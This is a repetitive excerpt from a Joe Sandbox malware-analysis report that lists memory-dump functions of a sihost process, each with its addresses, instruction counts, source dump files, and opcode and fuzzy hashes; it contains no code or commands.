Opcode ID: bd1e92359d2ae44ee4e02ff758d3f19eadc441153009fd3bb0ee21c2c22e7204
Instruction ID: c942e9f12f549fde8364eff5ca31c601ef5f21bb18a3dffece7d720119e0cca6
Opcode Fuzzy Hash: bd1e92359d2ae44ee4e02ff758d3f19eadc441153009fd3bb0ee21c2c22e7204
Instruction Fuzzy Hash: ADD1C378E00218CFDB54DFA5C954BADBBB2BF89300F2491A9D809AB359DB355E81CF50

Function 00491738 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef157031ba9badbcc7e00dcf3df192ff5054ee25975c67a0e2b0eb20dcb360c5
Instruction ID: 50eace6591b2604c31ffb6d8226cc416d6898dcd34154ef6626ba2ed17206860
Opcode Fuzzy Hash: ef157031ba9badbcc7e00dcf3df192ff5054ee25975c67a0e2b0eb20dcb360c5
Instruction Fuzzy Hash: 1AD1C274E002188FDB54DFA5C954BADBBB2BF89300F2491A9D809AB359DB355E81CF50

Function 00492E30 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c3a0ab95019d14509c0d29b8aa100941fdb87a0c6631a73a7c9f32ca911e2ca
Instruction ID: 65d664ff60056ab5340672b5b51a5d637b7a3ce1690f1e55bb135eb18ec8cfc2
Opcode Fuzzy Hash: 4c3a0ab95019d14509c0d29b8aa100941fdb87a0c6631a73a7c9f32ca911e2ca
Instruction Fuzzy Hash: 45D1D378E00218CFDB54DFA5C954BADBBB2BF89300F2481A9D808AB359DB355E81CF50

Function 004932C8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba2d042ad9432a5a3977c91b5f5d1cffaca0ae854f89f2e53712ab177b5cdf2
Instruction ID: 6b8d3cb95798eda4e8c854aa4d473761e1f0a6343388846b7b9e2b31d820d405
Opcode Fuzzy Hash: aba2d042ad9432a5a3977c91b5f5d1cffaca0ae854f89f2e53712ab177b5cdf2
Instruction Fuzzy Hash: 3DD1C278E00218CFDB54DFA5C954BADBBB2BF89300F2481A9D809AB359DB355E81CF51

Function 004972D8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a0e9a4f82379e6d4a4b15a3f02b8e480c073b8555e34ba3747d434dcc43ea61
Instruction ID: 85eee6cfaed2bdb4d1444e7d95fe6812c3adc4df6a3cca3235f66e9f4f589236
Opcode Fuzzy Hash: 1a0e9a4f82379e6d4a4b15a3f02b8e480c073b8555e34ba3747d434dcc43ea61
Instruction Fuzzy Hash: C7D1C378E00218CFDB54DFA5C994BADBBB2BF89300F2491A9D809AB359DB355D81CF50

Function 004904D8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b1ce83260536f07158948590175bdbf59b5a28255998d02f94a0e88123b8c2c
Instruction ID: a87de0ca166e8fbc6f68d75db7ef17a35787e0b2de4c607723cce8d893a961ab
Opcode Fuzzy Hash: 3b1ce83260536f07158948590175bdbf59b5a28255998d02f94a0e88123b8c2c
Instruction Fuzzy Hash: 68D1C378E00218CFDB54DFA5C950BADBBB2BF89300F2491A9D809AB359DB355E81CF51

Function 00491BD0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e86ee201690b29c13eb70c4d777ce01db0f332667fee28e1f586a439206d888
Instruction ID: 0455d05ebbe1fd30f1d09fa8b469e6dd31cc27403e2ee5d5a8a1b4002f6b6865
Opcode Fuzzy Hash: 2e86ee201690b29c13eb70c4d777ce01db0f332667fee28e1f586a439206d888
Instruction Fuzzy Hash: 7FD1C374E00218CFDB54DFA5C954BADBBB2BF89300F2491AAD809AB359DB355D81CF50

Function 004944E8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d8bcb170e8b2bde55718d29ad5a2f0634306c284d7000e2e009a80484d3cf2
Instruction ID: a6917de6b13776c82ceda686fae67e629c17af14cfbe666c6ea9421f153ecf88
Opcode Fuzzy Hash: f8d8bcb170e8b2bde55718d29ad5a2f0634306c284d7000e2e009a80484d3cf2
Instruction Fuzzy Hash: FED1C278E00218CFDB54DFA5C954BADBBB2BF89300F2491A9D809AB359DB355E81CF50

Function 00495BE0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 417c239456250a825d30ae05b8a649bf3119c9472e42d1d87396275709791b41
Instruction ID: dc403e3e4652e1daeba36bd98128efd1a7e95a827db6286d3a145ecb6bdd0fe6
Opcode Fuzzy Hash: 417c239456250a825d30ae05b8a649bf3119c9472e42d1d87396275709791b41
Instruction Fuzzy Hash: 19D1C474E00218CFDB54DFA5C994BADBBB2BF89300F2491A9D809AB359DB355E81CF50

Function 00494980 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438baccbda7bab05ee5407bdb969a095993682d302c318aa71a0d529b25b0353
Instruction ID: 95995a45bcbc37f13509a2d52a47b39516e0f69a59fb6c6ac236572f3815ae35
Opcode Fuzzy Hash: 438baccbda7bab05ee5407bdb969a095993682d302c318aa71a0d529b25b0353
Instruction Fuzzy Hash: 56D1C478E00218CFDB54DFA5C954BADBBB2BF89300F2491A9D809AB359DB355D81CF50

Function 00492998 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3d6eecaf93ff69f78e4f359e68c90e1dc807f5050c9984c0f602a40573f0f85
Instruction ID: f0c80045b752e37f48ce772ff9e5a0bc17e9e077989ec0e0145e5968a3fa70a3
Opcode Fuzzy Hash: b3d6eecaf93ff69f78e4f359e68c90e1dc807f5050c9984c0f602a40573f0f85
Instruction Fuzzy Hash: 70D1C378E00218CFDB54DFA5C954BADBBB2BF89300F2491A9D809AB359DB355E81CF50

Function 004969A8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a276085e2700fc810e86e4dc7cbf5e621c0dd45cf99c99f4d3cee877d028f67
Instruction ID: c408f8fe08f88aabe0cd5dcb1932ffa6e9aa8f9d533692fe5641c19e93e2f888
Opcode Fuzzy Hash: 6a276085e2700fc810e86e4dc7cbf5e621c0dd45cf99c99f4d3cee877d028f67
Instruction Fuzzy Hash: ECD1C374E00218CFDB54DFA5C954BADBBB2BF89300F2491A9D809AB359DB355E81CF50

Function 004912A0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97d7052eec5269d8482cfb2cf07d4920e7ac7f8135c9ae5761d413fd7e495368
Instruction ID: ffc959f2a51317a5c2fdee011af18ad7f26bda2a4a2c8fb56da079d5579a5128
Opcode Fuzzy Hash: 97d7052eec5269d8482cfb2cf07d4920e7ac7f8135c9ae5761d413fd7e495368
Instruction Fuzzy Hash: B3D1C378E00218CFDB54DFA5C954BADBBB2BF89300F2491AAD809AB359DB355D81CF50

Function 004952B0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44b01fd68851e69afe0632a834eff8df4e196de59fd96669e8e804130daedea2
Instruction ID: c5cadc4f8a4573983713af42c9a57ac1bd02e4cb8c2315be8bae0b4ccb1776e0
Opcode Fuzzy Hash: 44b01fd68851e69afe0632a834eff8df4e196de59fd96669e8e804130daedea2
Instruction Fuzzy Hash: 03D1D374E00218CFDB55DFA5C950BADBBB2BF89300F2491A9D809AB359DB355E81CF40

Function 0067AA68 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 9dacad3c696db987e7ebd58393f82925d469854ad98f572a56dd3c13632c9e8c
Instruction ID: c7d3b0d4886c24302c9abf1010640073eebf6dac28a8b783280a057c6d1b7e58
Opcode Fuzzy Hash: 9dacad3c696db987e7ebd58393f82925d469854ad98f572a56dd3c13632c9e8c
Instruction Fuzzy Hash: 52C1D574E01218CFDB54DFA5C994BADBBB2BF89300F2085AAD409AB359DB355E81CF50

Function 00673070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5e0c63a2ed4c355f9fa9062e828b912be55a194683fac0c4fa9c7e7b68719705
Instruction ID: d1119b3c74a0696d830364086d81aa49a150cfcf98a53cb8d8905833642dad3a
Opcode Fuzzy Hash: 5e0c63a2ed4c355f9fa9062e828b912be55a194683fac0c4fa9c7e7b68719705
Instruction Fuzzy Hash: 7EC1D574E00218CFDB14DFA5C954BADBBB2BF89300F2094A9D809AB359DB359E81CF50

Function 0067B770 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: cde6dfa70aecd473738fa5fc5274c26543495cea904fbbb4d2b0f3e0ca0a0b34
Instruction ID: a711246cb6c07e7b0a9889bbdbcabb8cf613769e64aaf96375eb2703ffd8d6ec
Opcode Fuzzy Hash: cde6dfa70aecd473738fa5fc5274c26543495cea904fbbb4d2b0f3e0ca0a0b34
Instruction Fuzzy Hash: 06C1D674E00218CFDB54DFA5C854BADBBB2BF89300F2495A9D809AB359DB355E81CF50

Function 0067C478 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 53fce5385e5d75145a899a6c695cc7ce7a7e2e605e8c14b5cdda04a2b05332b2
Instruction ID: b0b8ea994aeb6507778a76c3ace436efd44406b2e2a7500974ae63defc8710e7
Opcode Fuzzy Hash: 53fce5385e5d75145a899a6c695cc7ce7a7e2e605e8c14b5cdda04a2b05332b2
Instruction Fuzzy Hash: 35C1E674E01218CFDB14DFA5C994BADBBB2BF89300F2095A9D409AB359DB359E81CF50

Function 00673D78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d14ed2f16934029f2051f0cd944db53bb7f4963fe623fa705f717929c2b6356b
Instruction ID: 3184ebbf0c98b76fe894a93cc88bfc0790393a5503cbf4102ee7308d42245a47
Opcode Fuzzy Hash: d14ed2f16934029f2051f0cd944db53bb7f4963fe623fa705f717929c2b6356b
Instruction Fuzzy Hash: C2C1D574E00218CFDB54DFA5C954BADBBB2BF89300F2095AAD409AB359DB355E81CF50

Function 00676D40 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d63b0c465aafafbcada4e5917c0a13cde5cdd2eb950824f1369e066807a5f0bd
Instruction ID: 3a318566c3212db00cd2ae1f841dd2596d4d20491c35bab4695e36a0dff2a935
Opcode Fuzzy Hash: d63b0c465aafafbcada4e5917c0a13cde5cdd2eb950824f1369e066807a5f0bd
Instruction Fuzzy Hash: C0C1E674E00218CFDB14DFA5C854BADBBB2BF89300F2495AAD409AB359DB359E81CF50

Function 00677A48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0dd497588ec04182720d01e122c98385838586631584d8e99452aa1ea7f8803c
Instruction ID: 676c9a5100f48317b3d1306eb4b3c1b4f2c078412e989123b032e73ed9b2c9bb
Opcode Fuzzy Hash: 0dd497588ec04182720d01e122c98385838586631584d8e99452aa1ea7f8803c
Instruction Fuzzy Hash: 90C1E574E00218CFDB54DFA5C994BADBBB2BF89300F2094A9D809AB359DB355E81CF50

Function 00678750 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2ca861a03ab8cf2b653db41944db9f069db42276bea31595b754dc866abb975e
Instruction ID: 5db8f8c5488821bb7384b434a561fe5ed4e3895a68c40bdcc227a9563fd4800a
Opcode Fuzzy Hash: 2ca861a03ab8cf2b653db41944db9f069db42276bea31595b754dc866abb975e
Instruction Fuzzy Hash: B0C1D574E01218CFDB54DFA5C894BADBBB2BF89300F2095AAD409AB359DB355E81CF50

Function 00679458 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 130a8b9c260e1ac08db33bde9569616b31759175730d1c0af069224fb26b153f
Instruction ID: c3d6efe70d3d0f2c23a57d1d2c747ec0bee77e7f6697458e8d1392f8103453cb
Opcode Fuzzy Hash: 130a8b9c260e1ac08db33bde9569616b31759175730d1c0af069224fb26b153f
Instruction Fuzzy Hash: 0EC1C374E01218CFDB54DFA5C994BADBBB2BF89300F2085A9D809AB359DB355E81CF50

Function 0067C020 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0b48e18c095c0c6f60a5b5606b12cf95ad9a00b10209abbb3b28c937496df15f
Instruction ID: b293b0742d6b6ca2d38a2a9743f2b76c66b08afa11066e7b812fbceffcd7cf86
Opcode Fuzzy Hash: 0b48e18c095c0c6f60a5b5606b12cf95ad9a00b10209abbb3b28c937496df15f
Instruction Fuzzy Hash: D3C1E674E00218CFDB14DFA5C854BADBBB2BF89300F2081A9D809AB359DB355E81CF50

Function 00673920 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 946b5a24e69b28edd5bae7fdf634bfb08509d5f38e326850c027bdb71499655e
Instruction ID: 845a214b06518450d8c93a9222c0829e382f2cb41a25075ed0d256d62a69eb17
Opcode Fuzzy Hash: 946b5a24e69b28edd5bae7fdf634bfb08509d5f38e326850c027bdb71499655e
Instruction Fuzzy Hash: DEC1D574E00218CFDB54DFA5C954BADBBB2BF89300F2095A9D809AB359DB359E81CF50

Function 0067CD28 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a4d4a07da959ba88cefd28cdaf908990641bf3a5f9cfac7f34fd76830d4afc24
Instruction ID: 18026e6bfb5fb452dfee58137bdee2feade0c3f6a4690abc9a564f77dc0d36c9
Opcode Fuzzy Hash: a4d4a07da959ba88cefd28cdaf908990641bf3a5f9cfac7f34fd76830d4afc24
Instruction Fuzzy Hash: E3C1E574E00218CFDB14DFA5C954BADBBB2BF89300F2094A9D809AB359DB355E81CF50

Function 00674628 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4322f660090fc743bfa09eaff4aa6de30cb389f6844fc11a1db31a08fd1a9584
Instruction ID: 1e6c88407494794dfd16f25503bccda6f040b5840510656383598cdbfa2f073a
Opcode Fuzzy Hash: 4322f660090fc743bfa09eaff4aa6de30cb389f6844fc11a1db31a08fd1a9584
Instruction Fuzzy Hash: B2C1E574E01218CFDB14DFA5C954BADBBB2BF89300F2090AAD409AB359DB359E81CF50

Function 00675330 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ab1956c87302bfb8c0120127e02cf2fca8fa65e43e05381623b08056c2533ba0
Instruction ID: dae9553e2c138ce136a087510a9c90034323e233b2b1b4d56f555b9eb384eb47
Opcode Fuzzy Hash: ab1956c87302bfb8c0120127e02cf2fca8fa65e43e05381623b08056c2533ba0
Instruction Fuzzy Hash: 5BC1E574E00218CFDB14DFA5C894BADBBB2BF89300F2084A9D409AB359DB359E81CF50

Function 0067DA30 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c0388e6b9bbaf6733020175b7b96bd5b4f2cb8bb7b4e3705dd60fda5dfd721dd
Instruction ID: 3f5d82717944e741670d45e87734d59707234d4c530b7ef696f7614795981b1a
Opcode Fuzzy Hash: c0388e6b9bbaf6733020175b7b96bd5b4f2cb8bb7b4e3705dd60fda5dfd721dd
Instruction Fuzzy Hash: BBC1D574E00218CFDB14DFA5C954BADBBB2BF89300F2495A9D409AB359DB355E81CF50

Function 00676038 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 12c638a5d842d4098c54e0c29913b933ec910c681ac11f4769c46f6f4a61f7dc
Instruction ID: 11bd98ae103a1f8cfa67d1fba9ba79e4e54e8094aa2cb21d431b06ae30d5ddec
Opcode Fuzzy Hash: 12c638a5d842d4098c54e0c29913b933ec910c681ac11f4769c46f6f4a61f7dc
Instruction Fuzzy Hash: 09C1D574E01218CFDB54DFA5C994BADBBB2BF89300F2085A9D409AB359DB355E81CF50

Function 00679000 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: dc360f8c9de6630bda941c979f19df95456dc9ed3e62e18c30c96082418ab325
Instruction ID: 9e1ef571a3a66ff8ceec6a8359837d1ffc021c3df72b15cfdb238bb597beaebc
Opcode Fuzzy Hash: dc360f8c9de6630bda941c979f19df95456dc9ed3e62e18c30c96082418ab325
Instruction Fuzzy Hash: 4EC1D574E00218CFDB54DFA5C895BADBBB2BF89300F2091A9D809AB359DB355E81CF50

Function 0067B318 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a2d33e110b6da173586b2dfbda3c385b0faafd5b5de3334ddce4f1ae57c62328
Instruction ID: 8392e82ab57af860a465eaf7ae2a08c4f033f8de47af74ae2a4ac8fe9cc4e0c5
Opcode Fuzzy Hash: a2d33e110b6da173586b2dfbda3c385b0faafd5b5de3334ddce4f1ae57c62328
Instruction Fuzzy Hash: 96C1E574E00218CFDB14DFA5C894BADBBB2BF89300F2090A9D409AB359DB359E81CF50

Function 00675BE0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d55f4a832016f59ae7fc6e3fd8e83cad26f9a46efe2964c5b15751aa4c78e26e
Instruction ID: e8fcdab744b8452866abcdc33836b7de394b5b13fcd8818bdac34db58ea6bf3d
Opcode Fuzzy Hash: d55f4a832016f59ae7fc6e3fd8e83cad26f9a46efe2964c5b15751aa4c78e26e
Instruction Fuzzy Hash: A5C1D574E00218CFDB14DFA5C994BADBBB2BF89300F2095A9D409AB359DB355E81CF50

Function 006768E8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: f9a7f38b5efec0de6731a2ddd441eaa0159cfb275dbb785a50b4afcd75d9b8b8
Instruction ID: 41a0d9172d39b511489dc99143524918c98ecce2452a3bd478167884c815becb
Opcode Fuzzy Hash: f9a7f38b5efec0de6731a2ddd441eaa0159cfb275dbb785a50b4afcd75d9b8b8
Instruction Fuzzy Hash: 55C1D474E00218CFDB14DFA5C995BADBBB2BF89300F2085AAD409AB359DB355E81CF50

Function 006775F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 155d689eaaff059488736056a37f8e1612e8d133eefc744dd0f4918b3a9e3ad7
Instruction ID: 26a56eafc0c778f03294290f3a1c81c290563880de6e9ca9d8035994a2afe901
Opcode Fuzzy Hash: 155d689eaaff059488736056a37f8e1612e8d133eefc744dd0f4918b3a9e3ad7
Instruction Fuzzy Hash: B6C1E674E01218CFDB54DFA5C854BADBBB2BF89300F2085AAD809AB359DB355E81CF50

Function 006782F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8957e66be8ab065158285789f4d0bae7fd19b7050ad8aa193c4c0208f4f094f5
Instruction ID: ce4783a48317079832594cab396820eac16bf091b01d750826262fb6ba147873
Opcode Fuzzy Hash: 8957e66be8ab065158285789f4d0bae7fd19b7050ad8aa193c4c0208f4f094f5
Instruction Fuzzy Hash: 7BC1E574E00218CFDB54DFA5C994BADBBB2BF89300F2095A9D409AB359DB359E81CF50

Function 0067AEC0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ba96a30ccf3cdf8fe1b9b34821f46f17e055c140a7fb6ce4d13614ee9fde77f7
Instruction ID: 098848b2b276fb90e1e856b7cbcfd49771627ad60abbb44fdcbe6ab7bc71ff64
Opcode Fuzzy Hash: ba96a30ccf3cdf8fe1b9b34821f46f17e055c140a7fb6ce4d13614ee9fde77f7
Instruction Fuzzy Hash: 2AC1D574E01218CFDB14DFA5C854BADBBB2BF89300F2495A9D809AB359DB359E81CF50

Function 0067BBC8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

